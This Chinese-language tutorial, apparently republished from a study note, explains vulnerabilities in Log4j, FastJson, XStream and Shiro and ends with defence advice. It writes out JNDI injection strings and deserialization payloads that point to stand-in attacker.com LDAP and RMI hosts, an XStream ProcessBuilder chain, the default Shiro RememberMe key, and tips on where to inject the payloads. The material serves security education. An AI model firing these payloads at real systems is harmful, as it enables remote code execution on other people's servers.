在JavaEE企业级开发中,我们常常依赖第三方库来快速实现日志记录、数据序列化、安全认证等功能。然而,这些广泛使用的库也可能成为攻击者的突破口。本文整理了Log4j、FastJson、XStream和Shiro四个常见组件的安全漏洞原理、利用方式及防御思路,帮助开发者和安全人员更好地理解和防范这些风险。
一、Log4j 日志组件:JNDI 注入引发的 RCE
1. 简介
Log4j是一个基于Java的日志记录工具,广泛应用于业务系统。开发者可通过它记录程序的输入输出信息。但Log4j 2.x版本中存在一个严重的JNDI注入漏洞(CVE-2021-44228),允许攻击者通过日志消息触发远程代码执行。
2. Maven依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- 受影响版本 -->
</dependency>
3. 常见用法
// 记录普通日志
logger.info(“用户访问:{}”, username);
// 记录错误信息
logger.error(“发生异常:{}”, exception.getMessage());
4. 漏洞原理
Log4j支持通过${}占位符进行变量替换,其中包含JNDI查找功能(如${jndi:ldap://…})。当日志消息中包含这类字符串时,Log4j会尝试解析并执行JNDI查询,若攻击者可控日志内容,即可指向恶意LDAP服务器,加载远程类,最终实现RCE。
5. 漏洞演示(2.14.1 版本)
// 测试操作系统信息(无害)
String code = “${java:os}”;
logger.error(“{}”, code); // 输出:Mac OS X 10.15.7 等
// 恶意 JNDI 注入
String exp = “${jndi:ldap://attacker.com:1389/Exploit}”;
logger.error(“{}”, exp); // 触发远程类加载
结论:当日志内容包含恶意JNDI地址时,可导致RCE。
6. 利用方式
- 黑盒测试:在用户输入、HTTP头(如User-Agent、X-Forwarded-For)等位置插入JNDI注入payload。
- 白盒审计:搜索项目中logger的调用,查看是否有外部可控数据直接传入日志方法。
二、FastJson:反序列化调用 Getter/Setter 导致的 RCE
1. 简介
FastJson是阿里巴巴开源的Java JSON处理库,能高效地将Java对象与JSON相互转换。由于其反序列化机制会自动调用某些类的getter/setter方法,攻击者可利用特定类的构造链实现远程代码执行。
2. Maven依赖
<!-- 受影响版本示例 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version> <!-- 存在漏洞 -->
</dependency>
<!-- 1.2.25 引入了 autotype 限制,但仍可能绕过 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
3. 常用方法
- 序列化:
JSON.toJSONString(obj)、JSON.toJSONBytes(obj)
- 反序列化:
JSON.parseObject(json, Clazz.class)、JSON.parse(json)、JSON.parseArray(json)
- 转换:
JSON.toJavaObject(jsonObject, Clazz.class)、JSON.writeJSONString(os, obj)
4. 漏洞原理
FastJson在反序列化时,会根据JSON中的@type指定类名,并尝试实例化该类。过程中会调用符合条件的setter方法以及特定getter方法。攻击者可构造JSON数据,利用某些Java类的setter方法执行恶意操作(如JNDI注入、文件写入等),形成反序列化攻击链。
5. 演示(1.2.24 版本)
// 正常反序列化
String json = “{\”@type\“:\”com.example.User\“,\”name\“:\”Alice\“}”;
JSON.parseObject(json);
// 恶意 payload(利用 JdbcRowSetImpl 触发 JNDI 注入)
String payload = “{\”@type\“:\”com.sun.rowset.JdbcRowSetImpl\“,\”dataSourceName\“:\”ldap://attacker.com:1389/Exploit\“,\”autoCommit\“:true}”;
JSON.parse(payload);
结论:反序列化时若@type指向危险类,可能触发JNDI注入或其它攻击。
6. 利用方式
- 黑盒:在JSON数据中插入
@type字段,尝试替换为已知gadget类。
- 白盒:查找
JSON.parse、JSON.parseObject等调用,并追踪参数是否可控。
三、XStream:反序列化调用 readObject 导致的 RCE
1. 简介
XStream是一个简单的Java库,用于将Java对象序列化为XML,或从XML反序列化为对象。由于它支持动态代理和自定义转换器,攻击者可以通过精心构造的XML触发目标类的readObject方法,进而执行恶意代码。
2. Maven依赖
<!-- 受影响版本示例 -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version> <!-- 存在漏洞 -->
</dependency>
<!-- 1.4.15 修复了部分漏洞,但仍有绕过可能 -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
3. 基本用法
// 序列化
Car car = new Car(“Ferrari”, 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);
// 反序列化
String xml = “…”; // 来自外部
XStream xStream = new XStream();
Car car = (Car) xStream.fromXML(xml);
4. 漏洞原理
XStream反序列化时,会根据XML元素创建对应类的实例,并调用该类的readObject方法(如果实现了Serializable接口)。攻击者可利用某些Java类(如EventHandler、PriorityQueue等)在readObject中执行危险操作,构造出完整的RCE利用链。
5. 漏洞演示
(1) 已知类的调用方法(普通反序列化)
<com.example.xstreamdemo.Car serialization=“custom”>
<com.example.xstreamdemo.Car>
<default>
<price>4000000</price>
<name>Ferrari</name>
</default>
</com.example.xstreamdemo.Car>
</com.example.xstreamdemo.Car>
这段XML可正常反序列化Car对象。
(2) 利用 EventHandler 的 CVE 链
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class=“java.beans.EventHandler”>
<target class=“java.lang.ProcessBuilder”>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
该payload利用动态代理和EventHandler,最终执行ProcessBuilder.start()打开计算器。
(3) 更复杂的利用链(JdbcRowSetImpl JNDI 注入)
<java.util.PriorityQueue serialization=‘custom’>
… <!-- 省略中间大量嵌套 -->
<jaxbObject class=‘com.sun.rowset.JdbcRowSetImpl’ serialization=‘custom’>
<javax.sql.rowset.BaseRowSet>
<default>
<dataSource>rmi://attacker.com:1099/Exploit</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
</jaxbObject>
</java.util.PriorityQueue>
该链通过嵌套调用最终设置dataSource为恶意RMI地址,触发JNDI注入。
结论:XStream反序列化时可能调用目标类的readObject,结合JDK自带类可构建RCE链。
6. 利用方式
- 黑盒:寻找接收XML数据的接口,替换为已知漏洞payload。
- 白盒:审计
XStream.fromXML调用,检查外部输入是否直接传入。
四、Shiro 安全框架:配置不当与反序列化漏洞
1. 简介
Apache Shiro是一个功能强大的Java安全框架,提供身份验证、授权、加密和会话管理。由于其RememberMe功能使用了AES加密(硬编码密钥或弱密钥),攻击者可构造恶意序列化数据触发反序列化RCE(如Shiro-550、Shiro-721)。
2. 开发与依赖
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.7.1</version> <!-- 不同版本存在不同漏洞 -->
</dependency>
3. 漏洞原理
- Shiro-550 (CVE-2016-4437):Shiro默认使用硬编码的AES密钥(
kPH+bIxk5D2deZiIxcaaaA==)对RememberMe的Cookie进行加密。攻击者可以用该密钥加密恶意反序列化payload,服务端解密后触发反序列化。
- Shiro-721:使用Padding Oracle攻击,在不知道密钥的情况下利用RememberMe的AES-CBC模式构造恶意密文。
- 权限绕过:某些版本对URL的解析存在差异,可绕过鉴权访问敏感接口。
4. 利用方式
- 黑盒:抓包查看Cookie中是否有
rememberMe=xxx,尝试替换为已知工具生成的payload。
- 白盒:查看
shiro.ini或配置类中RememberMe密钥是否被修改,以及Shiro版本是否在受影响范围内。
五、总结与防御建议
| 组件 |
风险点 |
防御措施 |
| Log4j |
JNDI注入 |
升级到2.17.0+;设置log4j2.formatMsgNoLookups=true;移除JndiLookup类 |
| FastJson |
反序列化调用setter/getter |
升级到最新版;开启safeMode;使用@type白名单 |
| XStream |
反序列化调用readObject |
升级到1.4.20+;配置自定义转换器白名单 |
| Shiro |
反序列化AES密钥泄露 |
修改默认密钥;升级到1.7.1+;使用更强的加密算法 |
日常开发建议:
- 保持第三方库及时更新。
- 对用户输入进行严格校验,避免直接传入反序列化函数,这属于关键的后端 & 架构设计原则。
- 采用最小权限原则,限制Java进程的JNDI访问。
- 定期进行安全/渗透/逆向扫描和代码审计。
参考资料
[1] 第48天-JavaEE 开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream 与 Shiro, 微信公众号:mp.weixin.qq.com/s/NT3ryqHAeboY1ZF5fn2QBQ
版权声明:本文由 云栈社区 整理发布,版权归原作者所有。